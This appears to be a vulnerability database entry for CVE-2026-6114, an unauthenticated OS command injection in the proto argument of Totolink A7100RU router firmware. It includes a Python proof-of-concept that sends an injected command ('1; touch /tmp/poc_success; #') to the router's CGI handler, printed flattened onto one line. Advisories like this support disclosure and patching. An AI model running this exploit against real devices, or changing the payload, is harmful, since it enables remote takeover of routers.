Security Vulnerability Report
中文
CVE-2026-6114 CVSS 9.8 CRITICAL

CVE-2026-6114

Published: 2026-04-12 04:16:49
Last Modified: 2026-04-27 19:05:57

Description

A vulnerability was detected in Totolink A7100RU 7.4cu.2313_b20191024. Affected by this issue is the function setNetworkCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Performing a manipulation of the argument proto results in os command injection. The attack may be initiated remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_ip = "192.168.0.1" # Replace with actual target IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload data # The 'proto' parameter is vulnerable to OS command injection. # Example payload: Injecting a simple command to verify execution (e.g., creating a file or rebooting). data = { "function": "setNetworkCfg", "proto": "1; touch /tmp/poc_success; #" # Injection point } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the malicious POST request response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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